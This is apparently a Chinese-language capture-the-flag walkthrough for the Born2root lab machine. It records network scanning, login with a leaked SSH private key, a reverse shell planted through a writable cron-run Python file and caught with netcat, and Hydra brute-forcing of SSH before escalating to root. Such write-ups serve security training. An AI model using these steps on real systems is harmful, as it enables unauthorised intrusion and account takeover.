介绍

HackGameName:Born2root’s
Level:Medium
Task:Get /root/flag.txt
学习到的知识
利用Linux的/etc/crontab文件获取Shell
利用Hadry暴力枚举SSH登陆密码
信息搜集
先是扫描一下 eth0 网卡下有哪些主机存活(wifi连接的网卡)
1
|
netdiscover -i eth0
|

扫描出来后,发现靶机 IP :192.168.0.49,获取到 IP 之后对它进行 NMAP 端口扫描:
1
|
nmap -A 192.168.0.49
|

扫描出来它开放了三个端口:22,80,111,操作系统是Linux,内核版本是3.2-4.9(模糊):
1
|
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
|

通过扫描出来的开放服务,我对它进行来搜索,看看有没有对应的漏洞,很显然通过上图来看它们是没有漏洞的!那么我们继续从web开始!
使用 dirb 对web目录进行探测枚举:
1
|
dirb http://192.168.0.49/
|

访问 files 是一个目录遍历,但是里面是空的;接着访问了 http://192.168.0.49/icons/ 发现也是一个目录遍历,里面泄漏了很多文件:

其中有一个文件 VDSoyuAXiO.txt 打开后发现是一个 ssh 的密钥:
1
|
http://192.168.0.49/icons/VDSoyuAXiO.txt
|

这个很显然是一个 ssh-keygen 生成的私钥文件!原文件名应该是:id_rsa,通过这个文件我们可以对它进行破解,我们先保存起!继续信息搜集!

通过访问 robots.txt 后我发现它有两个文件,但是打开后发现没啥用:


最后通过访问 index.html 发现它泄漏了一个手机号和三个用户以及一枚邮箱:
1
|
tel:052-452-990-054
|

通过信息搜集后,我从web得到了一些用户名、邮箱,最重要的是我还得到了一个 ssh 的私钥!
登陆SSH
通过刚刚的信息搜集我利用 wget 把文件VDSoyuAXiO.txt下载到本地并重命名为 id_rsa 文件:

因为刚刚得到了几个用户,通过社工到手段再结合利用这个私钥我尝试 ssh登陆三个用户,最终是登陆了 martn 用户:
1
|
ssh -i id_rsa martin@192.168.0.49
|

登陆到 martin 用户后,我通过查看 passwd 文件发现了三个用户,那三个用户正是刚刚信息搜集得到到用户:
1
|
hadi
|

接着我来到 home 目录下的 hadi 用户,我发现里面没有啥文件可以利用的:

接着尝试进入 jimmy 用户目录发现权限不够,进入不了:

利用定时任务反弹Shell
通过查看 /etc/crontab 目录,我发现了一个定时任务:
1
|
cat /etc/crontab
|

在 /tmp(临时目录)下有一个 sekurity.py 文件,jimmy 用户会每隔五分钟运行一次!那么,我们可不可以通过这个来反弹Shell呢?
通过进入 tmp 目录发现里面是空的,啥文件都没有:

然后创建一个 sekurity.py 文件,里面内容是通过 socket、subprocess、os模块,通过套接字监听 kali 的 ip和端口:

1
|
import socket,subprocess,os;
|
然后 Kali 使用 nc 监听 4444 端口:
1
|
nc -lnvp 4444
|
过了五分钟后,通过nc得到了一枚shell:

通过信息收集发现 jimmy 用户没得 flag 文件,那么估计就在 hadi 用户哪里!

这个时候我通过一系列的翻文件和一些关键信息,我没有找到可以利用的地方,没办法只能通过最暴力的办法获取hadi用户:暴力枚举!
Hadry爆破SSH
通过字典生成,我生成了有关 hadi 的字典文件:


利用Hadry爆破SSH:
1
|
hydra -l hadi -P dic.txt 192.168.0.49 ssh -v
|

通过暴力枚举后,得到 hadi 的密码是 hadi123!

通过登陆到 hadi 用户后,su 切换 root 用户,密码为 hadi123:

最终在 root 目录下得到了 flag !